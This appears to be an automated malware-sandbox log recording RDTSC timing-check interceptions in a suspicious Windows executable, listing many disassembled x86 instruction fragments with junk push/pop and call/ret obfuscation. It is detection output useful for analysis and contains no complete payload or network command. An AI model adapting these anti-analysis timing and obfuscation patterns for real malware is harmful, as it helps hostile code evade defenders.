Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F6CD28 second address: F6CDF4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edi, dword ptr [ebp+122D2E9Ah] 0x00000010 push 00000000h 0x00000012 mov esi, dword ptr [ebp+122D2DEEh] 0x00000018 push 2A193ABEh 0x0000001d ja 00007FF8A11EFEEFh 0x00000023 xor dword ptr [esp], 2A193A3Eh 0x0000002a push 00000000h 0x0000002c push ebp 0x0000002d call 00007FF8A11EFED8h 0x00000032 pop ebp 0x00000033 mov dword ptr [esp+04h], ebp 0x00000037 add dword ptr [esp+04h], 00000016h 0x0000003f inc ebp 0x00000040 push ebp 0x00000041 ret 0x00000042 pop ebp 0x00000043 ret 0x00000044 mov ecx, dword ptr [ebp+122D2DA2h] 0x0000004a push 00000003h 0x0000004c mov ecx, 4D3BDE49h 0x00000051 push 00000000h 0x00000053 movsx edi, ax 0x00000056 push 00000003h 0x00000058 mov edx, ebx 0x0000005a call 00007FF8A11EFED9h 0x0000005f push edx 0x00000060 pushad 0x00000061 pushad 0x00000062 popad 0x00000063 pushad 0x00000064 popad 0x00000065 popad 0x00000066 pop edx 0x00000067 push eax 0x00000068 jmp 00007FF8A11EFEDEh 0x0000006d mov eax, dword ptr [esp+04h] 0x00000071 jmp 00007FF8A11EFEE4h 0x00000076 mov eax, dword ptr [eax] 0x00000078 push eax 0x00000079 push edx 0x0000007a jmp 00007FF8A11EFEE9h 0x0000007f rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F6CDF4 second address: F6CDFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F6CDFA second address: F6CE57 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push ebx 0x0000000d jmp 00007FF8A11EFEE5h 0x00000012 pop ebx 0x00000013 pop eax 0x00000014 or di, 839Fh 0x00000019 lea ebx, dword ptr [ebp+124518D9h] 0x0000001f clc 0x00000020 xchg eax, ebx 0x00000021 jl 00007FF8A11EFEEBh 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FF8A11EFEDCh 0x00000031 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F6CE57 second address: F6CE5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F6CE5B second address: F6CE61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F8DAE2 second address: F8DAE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F4CFCF second address: F4CFD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F4CFD5 second address: F4CFD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F4CFD9 second address: F4D002 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007FF8A11EFED6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF8A11EFEE9h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F4D002 second address: F4D00A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F4D00A second address: F4D014 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF8A11EFED6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F8BB88 second address: F8BBA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FF8A0DA480Eh 0x0000000a popad 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F8C14D second address: F8C158 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF8A11EFED6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F8C158 second address: F8C160 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F8C160 second address: F8C164 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F8C164 second address: F8C1AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA4816h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jmp 00007FF8A0DA4812h 0x00000015 pop edx 0x00000016 jmp 00007FF8A0DA4817h 0x0000001b rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F8C316 second address: F8C31C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F8C31C second address: F8C320 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F8C47F second address: F8C4A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11EFEE5h 0x00000009 popad 0x0000000a push ecx 0x0000000b je 00007FF8A11EFED6h 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F8C8B5 second address: F8C8B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F83E18 second address: F83E34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8A11EFEE8h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F83E34 second address: F83E7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FF8A0DA480Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jmp 00007FF8A0DA480Bh 0x00000011 pushad 0x00000012 popad 0x00000013 pop esi 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push ecx 0x00000017 jno 00007FF8A0DA4821h 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F83E7C second address: F83E82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F8CB8B second address: F8CB9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jno 00007FF8A0DA4806h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F8D18A second address: F8D1A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FF8A11EFED6h 0x0000000a jmp 00007FF8A11EFEDEh 0x0000000f rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F8D1A2 second address: F8D1C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FF8A0DA4819h 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F8D319 second address: F8D33E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEDEh 0x00000007 jmp 00007FF8A11EFEDDh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pushad 0x00000012 popad 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F8D470 second address: F8D4C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FF8A0DA4813h 0x0000000b js 00007FF8A0DA4806h 0x00000011 popad 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 pop edx 0x00000016 jmp 00007FF8A0DA4819h 0x0000001b push ebx 0x0000001c jp 00007FF8A0DA4806h 0x00000022 pop ebx 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 pushad 0x00000028 popad 0x00000029 jnc 00007FF8A0DA4806h 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F8D4C3 second address: F8D4C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F8EFF2 second address: F8F008 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF8A0DA4806h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jng 00007FF8A0DA480Ch 0x00000010 jg 00007FF8A0DA4806h 0x00000016 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F93FC4 second address: F93FC9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F9467D second address: F94683 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F98D66 second address: F98D71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FF8A11EFED6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F98D71 second address: F98D7B instructions: 0x00000000 rdtsc 0x00000002 js 00007FF8A0DA480Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F98F0B second address: F98F1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007FF8A11EFEE6h 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F98F1A second address: F98F1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F990A1 second address: F990A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F991FB second address: F99201 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F99201 second address: F99207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F99207 second address: F9920B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F9920B second address: F9920F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F995E8 second address: F99604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007FF8A0DA480Fh 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F99604 second address: F99620 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FF8A11EFEE6h 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F99781 second address: F99787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F99787 second address: F9978F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F9978F second address: F997A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007FF8A0DA480Dh 0x0000000f rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F9C476 second address: F9C4C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007FF8A11EFEE0h 0x00000013 jmp 00007FF8A11EFEDFh 0x00000018 popad 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FF8A11EFEE8h 0x00000024 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F9C4C2 second address: F9C534 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA480Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jno 00007FF8A0DA480Eh 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 jmp 00007FF8A0DA480Ah 0x0000001a pop eax 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007FF8A0DA4808h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 00000017h 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 stc 0x00000036 jmp 00007FF8A0DA4816h 0x0000003b call 00007FF8A0DA4809h 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 pushad 0x00000044 popad 0x00000045 pop eax 0x00000046 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F9C912 second address: F9C916 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F9C916 second address: F9C92F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FF8A0DA480Eh 0x00000010 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F9CABE second address: F9CAE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b jnp 00007FF8A11EFEE8h 0x00000011 push eax 0x00000012 push edx 0x00000013 jp 00007FF8A11EFED6h 0x00000019 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F9CAE4 second address: F9CAE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F9CBE9 second address: F9CBEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F9CCD8 second address: F9CCDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F9D1B4 second address: F9D1DC instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF8A11EFED6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c mov dword ptr [ebp+122D1B9Eh], ebx 0x00000012 push edx 0x00000013 mov si, 6D80h 0x00000017 pop edi 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FF8A11EFEDDh 0x00000020 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F9D4EA second address: F9D4F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F9D5CD second address: F9D5D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F9D7A7 second address: F9D7C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA4810h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007FF8A0DA4808h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F9D7C7 second address: F9D7CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F9D7CD second address: F9D7EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA480Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov di, si 0x0000000f xchg eax, ebx 0x00000010 pushad 0x00000011 jl 00007FF8A0DA480Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F9D7EE second address: F9D7FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jbe 00007FF8A11EFED6h 0x0000000c rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F9ECC6 second address: F9ECCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F9F3BC second address: F9F3D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF8A11EFEDAh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F9FE92 second address: F9FEC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA4819h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FF8A0DA480Ah 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F9FEC0 second address: F9FEC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FA2DDC second address: FA2DE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FA2DE1 second address: FA2E91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007FF8A11EFED8h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 mov si, bx 0x00000029 push 00000000h 0x0000002b push edi 0x0000002c pushad 0x0000002d mov edi, dword ptr [ebp+122D3AEEh] 0x00000033 mov dword ptr [ebp+12462D03h], esi 0x00000039 popad 0x0000003a pop edi 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push eax 0x00000040 call 00007FF8A11EFED8h 0x00000045 pop eax 0x00000046 mov dword ptr [esp+04h], eax 0x0000004a add dword ptr [esp+04h], 0000001Bh 0x00000052 inc eax 0x00000053 push eax 0x00000054 ret 0x00000055 pop eax 0x00000056 ret 0x00000057 mov dword ptr [ebp+1246A8A4h], ecx 0x0000005d mov esi, dword ptr [ebp+122D2CE2h] 0x00000063 xchg eax, ebx 0x00000064 jmp 00007FF8A11EFEDEh 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c pushad 0x0000006d jmp 00007FF8A11EFEE9h 0x00000072 push esi 0x00000073 pop esi 0x00000074 popad 0x00000075 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FA37B1 second address: FA37CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jc 00007FF8A0DA480Ch 0x0000000b jc 00007FF8A0DA4806h 0x00000011 popad 0x00000012 push eax 0x00000013 jc 00007FF8A0DA4810h 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FA4158 second address: FA415C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FA415C second address: FA4160 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FA4160 second address: FA4166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FA4166 second address: FA41BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FF8A0DA4806h 0x00000009 js 00007FF8A0DA4806h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 nop 0x00000013 movsx edi, di 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007FF8A0DA4808h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 00000019h 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 push 00000000h 0x00000034 pushad 0x00000035 mov edx, dword ptr [ebp+122D2DEAh] 0x0000003b xor esi, 0934C02Bh 0x00000041 popad 0x00000042 xchg eax, ebx 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 jno 00007FF8A0DA4806h 0x0000004d rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FA41BA second address: FA41BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FA41BE second address: FA41C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FA41C4 second address: FA41E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007FF8A11EFEDCh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push esi 0x0000000f jp 00007FF8A11EFEDCh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FA751B second address: FA7524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FA7524 second address: FA752A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: FA8D0A second address: FA8D28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007FF8A0DA4819h 0x0000000b jmp 00007FF8A0DA4811h 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
